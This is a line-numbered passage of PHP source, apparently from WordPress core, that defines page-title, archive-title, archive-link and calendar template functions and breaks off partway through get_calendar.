1047 $title = convert_chars( $title );
1048 $title = esc_html( $title );
1049 $title = capital_P_dangit( $title );
1050
1051 return $title;
1052}
1053
1054/**
1055 * Displays title tag with content.
1056 *
1057 * @ignore
1058 * @since 4.1.0
1059 * @since 4.4.0 Improved title output replaced `wp_title()`.
1060 * @access private
1061 */
1062function _wp_render_title_tag() {
1063 if ( ! current_theme_supports( 'title-tag' ) ) {
1064 return;
1065 }
1066
1067 echo '<title>' . wp_get_document_title() . '</title>' . "\n";
1068}
1069
1070/**
1071 * Display or retrieve page title for all areas of blog.
1072 *
1073 * By default, the page title will display the separator before the page title,
1074 * so that the blog title will be before the page title. This is not good for
1075 * title display, since the blog title shows up on most tabs and not what is
1076 * important, which is the page that the user is looking at.
1077 *
1078 * There are also SEO benefits to having the blog title after or to the 'right'
1079 * of the page title. However, it is mostly common sense to have the blog title
1080 * to the right with most browsers supporting tabs. You can achieve this by
1081 * using the seplocation parameter and setting the value to 'right'. This change
1082 * was introduced around 2.5.0, in case backward compatibility of themes is
1083 * important.
1084 *
1085 * @since 1.0.0
1086 *
1087 * @global WP_Locale $wp_locale
1088 *
1089 * @param string $sep Optional, default is '»'. How to separate the various items
1090 * within the page title.
1091 * @param bool $display Optional, default is true. Whether to display or retrieve title.
1092 * @param string $seplocation Optional. Direction to display title, 'right'.
1093 * @return string|null String on retrieve, null when displaying.
1094 */
1095function wp_title( $sep = '»', $display = true, $seplocation = '' ) {
1096 global $wp_locale;
1097
1098 $m = get_query_var( 'm' );
1099 $year = get_query_var( 'year' );
1100 $monthnum = get_query_var( 'monthnum' );
1101 $day = get_query_var( 'day' );
1102 $search = get_query_var( 's' );
1103 $title = '';
1104
1105 $t_sep = '%WP_TITLE_SEP%'; // Temporary separator, for accurate flipping, if necessary
1106
1107 // If there is a post
1108 if ( is_single() || ( is_home() && ! is_front_page() ) || ( is_page() && ! is_front_page() ) ) {
1109 $title = single_post_title( '', false );
1110 }
1111
1112 // If there's a post type archive
1113 if ( is_post_type_archive() ) {
1114 $post_type = get_query_var( 'post_type' );
1115 if ( is_array( $post_type ) ) {
1116 $post_type = reset( $post_type );
1117 }
1118 $post_type_object = get_post_type_object( $post_type );
1119 if ( ! $post_type_object->has_archive ) {
1120 $title = post_type_archive_title( '', false );
1121 }
1122 }
1123
1124 // If there's a category or tag
1125 if ( is_category() || is_tag() ) {
1126 $title = single_term_title( '', false );
1127 }
1128
1129 // If there's a taxonomy
1130 if ( is_tax() ) {
1131 $term = get_queried_object();
1132 if ( $term ) {
1133 $tax = get_taxonomy( $term->taxonomy );
1134 $title = single_term_title( $tax->labels->name . $t_sep, false );
1135 }
1136 }
1137
1138 // If there's an author
1139 if ( is_author() && ! is_post_type_archive() ) {
1140 $author = get_queried_object();
1141 if ( $author ) {
1142 $title = $author->display_name;
1143 }
1144 }
1145
1146 // Post type archives with has_archive should override terms.
1147 if ( is_post_type_archive() && $post_type_object->has_archive ) {
1148 $title = post_type_archive_title( '', false );
1149 }
1150
1151 // If there's a month
1152 if ( is_archive() && ! empty( $m ) ) {
1153 $my_year = substr( $m, 0, 4 );
1154 $my_month = $wp_locale->get_month( substr( $m, 4, 2 ) );
1155 $my_day = intval( substr( $m, 6, 2 ) );
1156 $title = $my_year . ( $my_month ? $t_sep . $my_month : '' ) . ( $my_day ? $t_sep . $my_day : '' );
1157 }
1158
1159 // If there's a year
1160 if ( is_archive() && ! empty( $year ) ) {
1161 $title = $year;
1162 if ( ! empty( $monthnum ) ) {
1163 $title .= $t_sep . $wp_locale->get_month( $monthnum );
1164 }
1165 if ( ! empty( $day ) ) {
1166 $title .= $t_sep . zeroise( $day, 2 );
1167 }
1168 }
1169
1170 // If it's a search
1171 if ( is_search() ) {
1172 /* translators: 1: separator, 2: search phrase */
1173 $title = sprintf( __( 'Search Results %1$s %2$s' ), $t_sep, strip_tags( $search ) );
1174 }
1175
1176 // If it's a 404 page
1177 if ( is_404() ) {
1178 $title = __( 'Page not found' );
1179 }
1180
1181 $prefix = '';
1182 if ( ! empty( $title ) ) {
1183 $prefix = " $sep ";
1184 }
1185
1186 /**
1187 * Filters the parts of the page title.
1188 *
1189 * @since 4.0.0
1190 *
1191 * @param array $title_array Parts of the page title.
1192 */
1193 $title_array = apply_filters( 'wp_title_parts', explode( $t_sep, $title ) );
1194
1195 // Determines position of the separator and direction of the breadcrumb
1196 if ( 'right' == $seplocation ) { // sep on right, so reverse the order
1197 $title_array = array_reverse( $title_array );
1198 $title = implode( " $sep ", $title_array ) . $prefix;
1199 } else {
1200 $title = $prefix . implode( " $sep ", $title_array );
1201 }
1202
1203 /**
1204 * Filters the text of the page title.
1205 *
1206 * @since 2.0.0
1207 *
1208 * @param string $title Page title.
1209 * @param string $sep Title separator.
1210 * @param string $seplocation Location of the separator (left or right).
1211 */
1212 $title = apply_filters( 'wp_title', $title, $sep, $seplocation );
1213
1214 // Send it out
1215 if ( $display ) {
1216 echo $title;
1217 } else {
1218 return $title;
1219 }
1220}
1221
1222/**
1223 * Display or retrieve page title for post.
1224 *
1225 * This is optimized for single.php template file for displaying the post title.
1226 *
1227 * It does not support placing the separator after the title, but by leaving the
1228 * prefix parameter empty, you can set the title separator manually. The prefix
1229 * does not automatically place a space between the prefix, so if there should
1230 * be a space, the parameter value will need to have it at the end.
1231 *
1232 * @since 0.71
1233 *
1234 * @param string $prefix Optional. What to display before the title.
1235 * @param bool $display Optional, default is true. Whether to display or retrieve title.
1236 * @return string|void Title when retrieving.
1237 */
1238function single_post_title( $prefix = '', $display = true ) {
1239 $_post = get_queried_object();
1240
1241 if ( !isset($_post->post_title) )
1242 return;
1243
1244 /**
1245 * Filters the page title for a single post.
1246 *
1247 * @since 0.71
1248 *
1249 * @param string $_post_title The single post page title.
1250 * @param object $_post The current queried object as returned by get_queried_object().
1251 */
1252 $title = apply_filters( 'single_post_title', $_post->post_title, $_post );
1253 if ( $display )
1254 echo $prefix . $title;
1255 else
1256 return $prefix . $title;
1257}
1258
1259/**
1260 * Display or retrieve title for a post type archive.
1261 *
1262 * This is optimized for archive.php and archive-{$post_type}.php template files
1263 * for displaying the title of the post type.
1264 *
1265 * @since 3.1.0
1266 *
1267 * @param string $prefix Optional. What to display before the title.
1268 * @param bool $display Optional, default is true. Whether to display or retrieve title.
1269 * @return string|void Title when retrieving, null when displaying or failure.
1270 */
1271function post_type_archive_title( $prefix = '', $display = true ) {
1272 if ( ! is_post_type_archive() )
1273 return;
1274
1275 $post_type = get_query_var( 'post_type' );
1276 if ( is_array( $post_type ) )
1277 $post_type = reset( $post_type );
1278
1279 $post_type_obj = get_post_type_object( $post_type );
1280
1281 /**
1282 * Filters the post type archive title.
1283 *
1284 * @since 3.1.0
1285 *
1286 * @param string $post_type_name Post type 'name' label.
1287 * @param string $post_type Post type.
1288 */
1289 $title = apply_filters( 'post_type_archive_title', $post_type_obj->labels->name, $post_type );
1290
1291 if ( $display )
1292 echo $prefix . $title;
1293 else
1294 return $prefix . $title;
1295}
1296
1297/**
1298 * Display or retrieve page title for category archive.
1299 *
1300 * Useful for category template files for displaying the category page title.
1301 * The prefix does not automatically place a space between the prefix, so if
1302 * there should be a space, the parameter value will need to have it at the end.
1303 *
1304 * @since 0.71
1305 *
1306 * @param string $prefix Optional. What to display before the title.
1307 * @param bool $display Optional, default is true. Whether to display or retrieve title.
1308 * @return string|void Title when retrieving.
1309 */
1310function single_cat_title( $prefix = '', $display = true ) {
1311 return single_term_title( $prefix, $display );
1312}
1313
1314/**
1315 * Display or retrieve page title for tag post archive.
1316 *
1317 * Useful for tag template files for displaying the tag page title. The prefix
1318 * does not automatically place a space between the prefix, so if there should
1319 * be a space, the parameter value will need to have it at the end.
1320 *
1321 * @since 2.3.0
1322 *
1323 * @param string $prefix Optional. What to display before the title.
1324 * @param bool $display Optional, default is true. Whether to display or retrieve title.
1325 * @return string|void Title when retrieving.
1326 */
1327function single_tag_title( $prefix = '', $display = true ) {
1328 return single_term_title( $prefix, $display );
1329}
1330
1331/**
1332 * Display or retrieve page title for taxonomy term archive.
1333 *
1334 * Useful for taxonomy term template files for displaying the taxonomy term page title.
1335 * The prefix does not automatically place a space between the prefix, so if there should
1336 * be a space, the parameter value will need to have it at the end.
1337 *
1338 * @since 3.1.0
1339 *
1340 * @param string $prefix Optional. What to display before the title.
1341 * @param bool $display Optional, default is true. Whether to display or retrieve title.
1342 * @return string|void Title when retrieving.
1343 */
1344function single_term_title( $prefix = '', $display = true ) {
1345 $term = get_queried_object();
1346
1347 if ( !$term )
1348 return;
1349
1350 if ( is_category() ) {
1351 /**
1352 * Filters the category archive page title.
1353 *
1354 * @since 2.0.10
1355 *
1356 * @param string $term_name Category name for archive being displayed.
1357 */
1358 $term_name = apply_filters( 'single_cat_title', $term->name );
1359 } elseif ( is_tag() ) {
1360 /**
1361 * Filters the tag archive page title.
1362 *
1363 * @since 2.3.0
1364 *
1365 * @param string $term_name Tag name for archive being displayed.
1366 */
1367 $term_name = apply_filters( 'single_tag_title', $term->name );
1368 } elseif ( is_tax() ) {
1369 /**
1370 * Filters the custom taxonomy archive page title.
1371 *
1372 * @since 3.1.0
1373 *
1374 * @param string $term_name Term name for archive being displayed.
1375 */
1376 $term_name = apply_filters( 'single_term_title', $term->name );
1377 } else {
1378 return;
1379 }
1380
1381 if ( empty( $term_name ) )
1382 return;
1383
1384 if ( $display )
1385 echo $prefix . $term_name;
1386 else
1387 return $prefix . $term_name;
1388}
1389
1390/**
1391 * Display or retrieve page title for post archive based on date.
1392 *
1393 * Useful for when the template only needs to display the month and year,
1394 * if either are available. The prefix does not automatically place a space
1395 * between the prefix, so if there should be a space, the parameter value
1396 * will need to have it at the end.
1397 *
1398 * @since 0.71
1399 *
1400 * @global WP_Locale $wp_locale
1401 *
1402 * @param string $prefix Optional. What to display before the title.
1403 * @param bool $display Optional, default is true. Whether to display or retrieve title.
1404 * @return string|void Title when retrieving.
1405 */
1406function single_month_title($prefix = '', $display = true ) {
1407 global $wp_locale;
1408
1409 $m = get_query_var('m');
1410 $year = get_query_var('year');
1411 $monthnum = get_query_var('monthnum');
1412
1413 if ( !empty($monthnum) && !empty($year) ) {
1414 $my_year = $year;
1415 $my_month = $wp_locale->get_month($monthnum);
1416 } elseif ( !empty($m) ) {
1417 $my_year = substr($m, 0, 4);
1418 $my_month = $wp_locale->get_month(substr($m, 4, 2));
1419 }
1420
1421 if ( empty($my_month) )
1422 return false;
1423
1424 $result = $prefix . $my_month . $prefix . $my_year;
1425
1426 if ( !$display )
1427 return $result;
1428 echo $result;
1429}
1430
1431/**
1432 * Display the archive title based on the queried object.
1433 *
1434 * @since 4.1.0
1435 *
1436 * @see get_the_archive_title()
1437 *
1438 * @param string $before Optional. Content to prepend to the title. Default empty.
1439 * @param string $after Optional. Content to append to the title. Default empty.
1440 */
1441function the_archive_title( $before = '', $after = '' ) {
1442 $title = get_the_archive_title();
1443
1444 if ( ! empty( $title ) ) {
1445 echo $before . $title . $after;
1446 }
1447}
1448
1449/**
1450 * Retrieve the archive title based on the queried object.
1451 *
1452 * @since 4.1.0
1453 *
1454 * @return string Archive title.
1455 */
1456function get_the_archive_title() {
1457 if ( is_category() ) {
1458 $title = sprintf( __( 'Category: %s' ), single_cat_title( '', false ) );
1459 } elseif ( is_tag() ) {
1460 $title = sprintf( __( 'Tag: %s' ), single_tag_title( '', false ) );
1461 } elseif ( is_author() ) {
1462 $title = sprintf( __( 'Author: %s' ), '<span class="vcard">' . get_the_author() . '</span>' );
1463 } elseif ( is_year() ) {
1464 $title = sprintf( __( 'Year: %s' ), get_the_date( _x( 'Y', 'yearly archives date format' ) ) );
1465 } elseif ( is_month() ) {
1466 $title = sprintf( __( 'Month: %s' ), get_the_date( _x( 'F Y', 'monthly archives date format' ) ) );
1467 } elseif ( is_day() ) {
1468 $title = sprintf( __( 'Day: %s' ), get_the_date( _x( 'F j, Y', 'daily archives date format' ) ) );
1469 } elseif ( is_tax( 'post_format' ) ) {
1470 if ( is_tax( 'post_format', 'post-format-aside' ) ) {
1471 $title = _x( 'Asides', 'post format archive title' );
1472 } elseif ( is_tax( 'post_format', 'post-format-gallery' ) ) {
1473 $title = _x( 'Galleries', 'post format archive title' );
1474 } elseif ( is_tax( 'post_format', 'post-format-image' ) ) {
1475 $title = _x( 'Images', 'post format archive title' );
1476 } elseif ( is_tax( 'post_format', 'post-format-video' ) ) {
1477 $title = _x( 'Videos', 'post format archive title' );
1478 } elseif ( is_tax( 'post_format', 'post-format-quote' ) ) {
1479 $title = _x( 'Quotes', 'post format archive title' );
1480 } elseif ( is_tax( 'post_format', 'post-format-link' ) ) {
1481 $title = _x( 'Links', 'post format archive title' );
1482 } elseif ( is_tax( 'post_format', 'post-format-status' ) ) {
1483 $title = _x( 'Statuses', 'post format archive title' );
1484 } elseif ( is_tax( 'post_format', 'post-format-audio' ) ) {
1485 $title = _x( 'Audio', 'post format archive title' );
1486 } elseif ( is_tax( 'post_format', 'post-format-chat' ) ) {
1487 $title = _x( 'Chats', 'post format archive title' );
1488 }
1489 } elseif ( is_post_type_archive() ) {
1490 $title = sprintf( __( 'Archives: %s' ), post_type_archive_title( '', false ) );
1491 } elseif ( is_tax() ) {
1492 $tax = get_taxonomy( get_queried_object()->taxonomy );
1493 /* translators: 1: Taxonomy singular name, 2: Current taxonomy term */
1494 $title = sprintf( __( '%1$s: %2$s' ), $tax->labels->singular_name, single_term_title( '', false ) );
1495 } else {
1496 $title = __( 'Archives' );
1497 }
1498
1499 /**
1500 * Filters the archive title.
1501 *
1502 * @since 4.1.0
1503 *
1504 * @param string $title Archive title to be displayed.
1505 */
1506 return apply_filters( 'get_the_archive_title', $title );
1507}
1508
1509/**
1510 * Display category, tag, or term description.
1511 *
1512 * @since 4.1.0
1513 *
1514 * @see get_the_archive_description()
1515 *
1516 * @param string $before Optional. Content to prepend to the description. Default empty.
1517 * @param string $after Optional. Content to append to the description. Default empty.
1518 */
1519function the_archive_description( $before = '', $after = '' ) {
1520 $description = get_the_archive_description();
1521 if ( $description ) {
1522 echo $before . $description . $after;
1523 }
1524}
1525
1526/**
1527 * Retrieve category, tag, or term description.
1528 *
1529 * @since 4.1.0
1530 *
1531 * @return string Archive description.
1532 */
1533function get_the_archive_description() {
1534 /**
1535 * Filters the archive description.
1536 *
1537 * @since 4.1.0
1538 *
1539 * @see term_description()
1540 *
1541 * @param string $description Archive description to be displayed.
1542 */
1543 return apply_filters( 'get_the_archive_description', term_description() );
1544}
1545
1546/**
1547 * Retrieve archive link content based on predefined or custom code.
1548 *
1549 * The format can be one of four styles. The 'link' for head element, 'option'
1550 * for use in the select element, 'html' for use in list (either ol or ul HTML
1551 * elements). Custom content is also supported using the before and after
1552 * parameters.
1553 *
1554 * The 'link' format uses the `<link>` HTML element with the **archives**
1555 * relationship. The before and after parameters are not used. The text
1556 * parameter is used to describe the link.
1557 *
1558 * The 'option' format uses the option HTML element for use in select element.
1559 * The value is the url parameter and the before and after parameters are used
1560 * between the text description.
1561 *
1562 * The 'html' format, which is the default, uses the li HTML element for use in
1563 * the list HTML elements. The before parameter is before the link and the after
1564 * parameter is after the closing link.
1565 *
1566 * The custom format uses the before parameter before the link ('a' HTML
1567 * element) and the after parameter after the closing link tag. If the above
1568 * three values for the format are not used, then custom format is assumed.
1569 *
1570 * @since 1.0.0
1571 *
1572 * @param string $url URL to archive.
1573 * @param string $text Archive text description.
1574 * @param string $format Optional, default is 'html'. Can be 'link', 'option', 'html', or custom.
1575 * @param string $before Optional. Content to prepend to the description. Default empty.
1576 * @param string $after Optional. Content to append to the description. Default empty.
1577 * @return string HTML link content for archive.
1578 */
1579function get_archives_link($url, $text, $format = 'html', $before = '', $after = '') {
1580 $text = wptexturize($text);
1581 $url = esc_url($url);
1582
1583 if ('link' == $format)
1584 $link_html = "\t<link rel='archives' title='" . esc_attr( $text ) . "' href='$url' />\n";
1585 elseif ('option' == $format)
1586 $link_html = "\t<option value='$url'>$before $text $after</option>\n";
1587 elseif ('html' == $format)
1588 $link_html = "\t<li>$before<a href='$url'>$text</a>$after</li>\n";
1589 else // custom
1590 $link_html = "\t$before<a href='$url'>$text</a>$after\n";
1591
1592 /**
1593 * Filters the archive link content.
1594 *
1595 * @since 2.6.0
1596 * @since 4.5.0 Added the `$url`, `$text`, `$format`, `$before`, and `$after` parameters.
1597 *
1598 * @param string $link_html The archive HTML link content.
1599 * @param string $url URL to archive.
1600 * @param string $text Archive text description.
1601 * @param string $format Link format. Can be 'link', 'option', 'html', or custom.
1602 * @param string $before Content to prepend to the description.
1603 * @param string $after Content to append to the description.
1604 */
1605 return apply_filters( 'get_archives_link', $link_html, $url, $text, $format, $before, $after );
1606}
1607
1608/**
1609 * Display archive links based on type and format.
1610 *
1611 * @since 1.2.0
1612 * @since 4.4.0 $post_type arg was added.
1613 *
1614 * @see get_archives_link()
1615 *
1616 * @global wpdb $wpdb
1617 * @global WP_Locale $wp_locale
1618 *
1619 * @param string|array $args {
1620 * Default archive links arguments. Optional.
1621 *
1622 * @type string $type Type of archive to retrieve. Accepts 'daily', 'weekly', 'monthly',
1623 * 'yearly', 'postbypost', or 'alpha'. Both 'postbypost' and 'alpha'
1624 * display the same archive link list as well as post titles instead
1625 * of displaying dates. The difference between the two is that 'alpha'
1626 * will order by post title and 'postbypost' will order by post date.
1627 * Default 'monthly'.
1628 * @type string|int $limit Number of links to limit the query to. Default empty (no limit).
1629 * @type string $format Format each link should take using the $before and $after args.
1630 * Accepts 'link' (`<link>` tag), 'option' (`<option>` tag), 'html'
1631 * (`<li>` tag), or a custom format, which generates a link anchor
1632 * with $before preceding and $after succeeding. Default 'html'.
1633 * @type string $before Markup to prepend to the beginning of each link. Default empty.
1634 * @type string $after Markup to append to the end of each link. Default empty.
1635 * @type bool $show_post_count Whether to display the post count alongside the link. Default false.
1636 * @type bool|int $echo Whether to echo or return the links list. Default 1|true to echo.
1637 * @type string $order Whether to use ascending or descending order. Accepts 'ASC', or 'DESC'.
1638 * Default 'DESC'.
1639 * @type string $post_type Post type. Default 'post'.
1640 * }
1641 * @return string|void String when retrieving.
1642 */
1643function wp_get_archives( $args = '' ) {
1644 global $wpdb, $wp_locale;
1645
1646 $defaults = array(
1647 'type' => 'monthly', 'limit' => '',
1648 'format' => 'html', 'before' => '',
1649 'after' => '', 'show_post_count' => false,
1650 'echo' => 1, 'order' => 'DESC',
1651 'post_type' => 'post'
1652 );
1653
1654 $r = wp_parse_args( $args, $defaults );
1655
1656 $post_type_object = get_post_type_object( $r['post_type'] );
1657 if ( ! is_post_type_viewable( $post_type_object ) ) {
1658 return;
1659 }
1660 $r['post_type'] = $post_type_object->name;
1661
1662 if ( '' == $r['type'] ) {
1663 $r['type'] = 'monthly';
1664 }
1665
1666 if ( ! empty( $r['limit'] ) ) {
1667 $r['limit'] = absint( $r['limit'] );
1668 $r['limit'] = ' LIMIT ' . $r['limit'];
1669 }
1670
1671 $order = strtoupper( $r['order'] );
1672 if ( $order !== 'ASC' ) {
1673 $order = 'DESC';
1674 }
1675
1676 // this is what will separate dates on weekly archive links
1677 $archive_week_separator = '–';
1678
1679 $sql_where = $wpdb->prepare( "WHERE post_type = %s AND post_status = 'publish'", $r['post_type'] );
1680
1681 /**
1682 * Filters the SQL WHERE clause for retrieving archives.
1683 *
1684 * @since 2.2.0
1685 *
1686 * @param string $sql_where Portion of SQL query containing the WHERE clause.
1687 * @param array $r An array of default arguments.
1688 */
1689 $where = apply_filters( 'getarchives_where', $sql_where, $r );
1690
1691 /**
1692 * Filters the SQL JOIN clause for retrieving archives.
1693 *
1694 * @since 2.2.0
1695 *
1696 * @param string $sql_join Portion of SQL query containing JOIN clause.
1697 * @param array $r An array of default arguments.
1698 */
1699 $join = apply_filters( 'getarchives_join', '', $r );
1700
1701 $output = '';
1702
1703 $last_changed = wp_cache_get( 'last_changed', 'posts' );
1704 if ( ! $last_changed ) {
1705 $last_changed = microtime();
1706 wp_cache_set( 'last_changed', $last_changed, 'posts' );
1707 }
1708
1709 $limit = $r['limit'];
1710
1711 if ( 'monthly' == $r['type'] ) {
1712 $query = "SELECT YEAR(post_date) AS `year`, MONTH(post_date) AS `month`, count(ID) as posts FROM $wpdb->posts $join $where GROUP BY YEAR(post_date), MONTH(post_date) ORDER BY post_date $order $limit";
1713 $key = md5( $query );
1714 $key = "wp_get_archives:$key:$last_changed";
1715 if ( ! $results = wp_cache_get( $key, 'posts' ) ) {
1716 $results = $wpdb->get_results( $query );
1717 wp_cache_set( $key, $results, 'posts' );
1718 }
1719 if ( $results ) {
1720 $after = $r['after'];
1721 foreach ( (array) $results as $result ) {
1722 $url = get_month_link( $result->year, $result->month );
1723 if ( 'post' !== $r['post_type'] ) {
1724 $url = add_query_arg( 'post_type', $r['post_type'], $url );
1725 }
1726 /* translators: 1: month name, 2: 4-digit year */
1727 $text = sprintf( __( '%1$s %2$d' ), $wp_locale->get_month( $result->month ), $result->year );
1728 if ( $r['show_post_count'] ) {
1729 $r['after'] = ' (' . $result->posts . ')' . $after;
1730 }
1731 $output .= get_archives_link( $url, $text, $r['format'], $r['before'], $r['after'] );
1732 }
1733 }
1734 } elseif ( 'yearly' == $r['type'] ) {
1735 $query = "SELECT YEAR(post_date) AS `year`, count(ID) as posts FROM $wpdb->posts $join $where GROUP BY YEAR(post_date) ORDER BY post_date $order $limit";
1736 $key = md5( $query );
1737 $key = "wp_get_archives:$key:$last_changed";
1738 if ( ! $results = wp_cache_get( $key, 'posts' ) ) {
1739 $results = $wpdb->get_results( $query );
1740 wp_cache_set( $key, $results, 'posts' );
1741 }
1742 if ( $results ) {
1743 $after = $r['after'];
1744 foreach ( (array) $results as $result) {
1745 $url = get_year_link( $result->year );
1746 if ( 'post' !== $r['post_type'] ) {
1747 $url = add_query_arg( 'post_type', $r['post_type'], $url );
1748 }
1749 $text = sprintf( '%d', $result->year );
1750 if ( $r['show_post_count'] ) {
1751 $r['after'] = ' (' . $result->posts . ')' . $after;
1752 }
1753 $output .= get_archives_link( $url, $text, $r['format'], $r['before'], $r['after'] );
1754 }
1755 }
1756 } elseif ( 'daily' == $r['type'] ) {
1757 $query = "SELECT YEAR(post_date) AS `year`, MONTH(post_date) AS `month`, DAYOFMONTH(post_date) AS `dayofmonth`, count(ID) as posts FROM $wpdb->posts $join $where GROUP BY YEAR(post_date), MONTH(post_date), DAYOFMONTH(post_date) ORDER BY post_date $order $limit";
1758 $key = md5( $query );
1759 $key = "wp_get_archives:$key:$last_changed";
1760 if ( ! $results = wp_cache_get( $key, 'posts' ) ) {
1761 $results = $wpdb->get_results( $query );
1762 wp_cache_set( $key, $results, 'posts' );
1763 }
1764 if ( $results ) {
1765 $after = $r['after'];
1766 foreach ( (array) $results as $result ) {
1767 $url = get_day_link( $result->year, $result->month, $result->dayofmonth );
1768 if ( 'post' !== $r['post_type'] ) {
1769 $url = add_query_arg( 'post_type', $r['post_type'], $url );
1770 }
1771 $date = sprintf( '%1$d-%2$02d-%3$02d 00:00:00', $result->year, $result->month, $result->dayofmonth );
1772 $text = mysql2date( get_option( 'date_format' ), $date );
1773 if ( $r['show_post_count'] ) {
1774 $r['after'] = ' (' . $result->posts . ')' . $after;
1775 }
1776 $output .= get_archives_link( $url, $text, $r['format'], $r['before'], $r['after'] );
1777 }
1778 }
1779 } elseif ( 'weekly' == $r['type'] ) {
1780 $week = _wp_mysql_week( '`post_date`' );
1781 $query = "SELECT DISTINCT $week AS `week`, YEAR( `post_date` ) AS `yr`, DATE_FORMAT( `post_date`, '%Y-%m-%d' ) AS `yyyymmdd`, count( `ID` ) AS `posts` FROM `$wpdb->posts` $join $where GROUP BY $week, YEAR( `post_date` ) ORDER BY `post_date` $order $limit";
1782 $key = md5( $query );
1783 $key = "wp_get_archives:$key:$last_changed";
1784 if ( ! $results = wp_cache_get( $key, 'posts' ) ) {
1785 $results = $wpdb->get_results( $query );
1786 wp_cache_set( $key, $results, 'posts' );
1787 }
1788 $arc_w_last = '';
1789 if ( $results ) {
1790 $after = $r['after'];
1791 foreach ( (array) $results as $result ) {
1792 if ( $result->week != $arc_w_last ) {
1793 $arc_year = $result->yr;
1794 $arc_w_last = $result->week;
1795 $arc_week = get_weekstartend( $result->yyyymmdd, get_option( 'start_of_week' ) );
1796 $arc_week_start = date_i18n( get_option( 'date_format' ), $arc_week['start'] );
1797 $arc_week_end = date_i18n( get_option( 'date_format' ), $arc_week['end'] );
1798 $url = add_query_arg( array( 'm' => $arc_year, 'w' => $result->week, ), home_url( '/' ) );
1799 if ( 'post' !== $r['post_type'] ) {
1800 $url = add_query_arg( 'post_type', $r['post_type'], $url );
1801 }
1802 $text = $arc_week_start . $archive_week_separator . $arc_week_end;
1803 if ( $r['show_post_count'] ) {
1804 $r['after'] = ' (' . $result->posts . ')' . $after;
1805 }
1806 $output .= get_archives_link( $url, $text, $r['format'], $r['before'], $r['after'] );
1807 }
1808 }
1809 }
1810 } elseif ( ( 'postbypost' == $r['type'] ) || ('alpha' == $r['type'] ) ) {
1811 $orderby = ( 'alpha' == $r['type'] ) ? 'post_title ASC ' : 'post_date DESC, ID DESC ';
1812 $query = "SELECT * FROM $wpdb->posts $join $where ORDER BY $orderby $limit";
1813 $key = md5( $query );
1814 $key = "wp_get_archives:$key:$last_changed";
1815 if ( ! $results = wp_cache_get( $key, 'posts' ) ) {
1816 $results = $wpdb->get_results( $query );
1817 wp_cache_set( $key, $results, 'posts' );
1818 }
1819 if ( $results ) {
1820 foreach ( (array) $results as $result ) {
1821 if ( $result->post_date != '0000-00-00 00:00:00' ) {
1822 $url = get_permalink( $result );
1823 if ( $result->post_title ) {
1824 /** This filter is documented in wp-includes/post-template.php */
1825 $text = strip_tags( apply_filters( 'the_title', $result->post_title, $result->ID ) );
1826 } else {
1827 $text = $result->ID;
1828 }
1829 $output .= get_archives_link( $url, $text, $r['format'], $r['before'], $r['after'] );
1830 }
1831 }
1832 }
1833 }
1834 if ( $r['echo'] ) {
1835 echo $output;
1836 } else {
1837 return $output;
1838 }
1839}
1840
1841/**
1842 * Get number of days since the start of the week.
1843 *
1844 * @since 1.5.0
1845 *
1846 * @param int $num Number of day.
1847 * @return int Days since the start of the week.
1848 */
1849function calendar_week_mod($num) {
1850 $base = 7;
1851 return ($num - $base*floor($num/$base));
1852}
1853
1854/**
1855 * Display calendar with days that have posts as links.
1856 *
1857 * The calendar is cached, which will be retrieved, if it exists. If there are
1858 * no posts for the month, then it will not be displayed.
1859 *
1860 * @since 1.0.0
1861 *
1862 * @global wpdb $wpdb
1863 * @global int $m
1864 * @global int $monthnum
1865 * @global int $year
1866 * @global WP_Locale $wp_locale
1867 * @global array $posts
1868 *
1869 * @param bool $initial Optional, default is true. Use initial calendar names.
1870 * @param bool $echo Optional, default is true. Set to false for return.
1871 * @return string|void String when retrieving.
1872 */
1873function get_calendar( $initial = true, $echo = true ) {
1874 global $wpdb, $m, $monthnum, $year, $wp_locale, $posts;
1875
1876 $key = md5( $m . $monthnum . $year );
1877 $cache = wp_cache_get( 'get_calendar', 'calendar' );
1878
1879 if ( $cache && is_array( $cache ) && isset( $cache[ $key ] ) ) {
1880 /** This filter is documented in wp-includes/general-template.php */
1881 $output = apply_filters( 'get_calendar', $cache[ $key ] );
1882
1883 if ( $echo ) {
1884 echo $output;
1885 return;
1886 }
1887
1888 return $output;
1889 }
1890
1891 if ( ! is_array( $cache ) ) {
1892 $cache = array();
1893 }
1894
1895 // Quick check. If we have no posts at all, abort!
1896 if ( ! $posts ) {
1897 $gotsome = $wpdb->get_var("SELECT 1 as test FROM $wpdb->posts WHERE post_type = 'post' AND post_status = 'publish' LIMIT 1");
1898 if ( ! $gotsome ) {
1899 $cache[ $key ] = '';
1900 wp_cache_set( 'get_calendar', $cache, 'calendar' );
1901 return;
1902 }
1903 }
1904
1905 if ( isset( $_GET['w'] ) ) {
1906 $w = (int) $_GET['w'];
1907 }
1908 // week_begins = 0 stands for Sunday
1909 $week_begins = (int) get_option( 'start_of_week' );
1910 $ts = current_time( 'timestamp' );
1911
1912 // Let's figure out when we are
1913 if ( ! empty( $monthnum ) && ! empty( $year ) ) {
1914 $thismonth = zeroise( intval( $monthnum ), 2 );
1915 $thisyear = (int) $year;
1916 } elseif ( ! empty( $w ) ) {
1917 // We need to get the month from MySQL
1918 $thisyear = (int) substr( $m, 0, 4 );
1919 //it seems MySQL's weeks disagree with PHP's
1920 $d = ( ( $w - 1 ) * 7 ) + 6;
1921 $thismonth = $wpdb->get_var("SELECT DATE_FORMAT((DATE_ADD('{$thisyear}0101', INTERVAL $d DAY) ), '%m')");
1922 } elseif ( ! empty( $m ) ) {
1923 $thisyear = (int) substr( $m, 0, 4 );
1924 if ( strlen( $m ) < 6 ) {
1925 $thismonth = '01';
1926 } else {
1927 $thismonth = zeroise( (int) substr( $m, 4, 2 ), 2 );
1928 }
1929 } else {
1930 $thisyear = gmdate( 'Y', $ts );
1931 $thismonth = gmdate( 'm', $ts );
1932 }
1933
1934 $unixmonth = mktime( 0, 0 , 0, $thismonth, 1, $thisyear );
1935 $last_day = date( 't', $unixmonth );
1936
1937 // Get the next and previous month and year with at least one post
1938 $previous = $wpdb->get_row("SELECT MONTH(post_date) AS month, YEAR(post_date) AS year
1939 FROM $wpdb->posts
1940 WHERE post_date < '$thisyear-$thismonth-01'
1941 AND post_type = 'post' AND post_status = 'publish'
1942 ORDER BY post_date DESC
1943 LIMIT 1");
1944 $next = $wpdb->get_row("SELECT MONTH(post_date) AS month, YEAR(post_date) AS year
1945 FROM $wpdb->posts
1946 WHERE post_date > '$thisyear-$thismonth-{$last_day} 23:59:59'
1947 AND post_type = 'post' AND post_status = 'publish'
1948 ORDER BY post_date ASC
1949 LIMIT 1");
1950
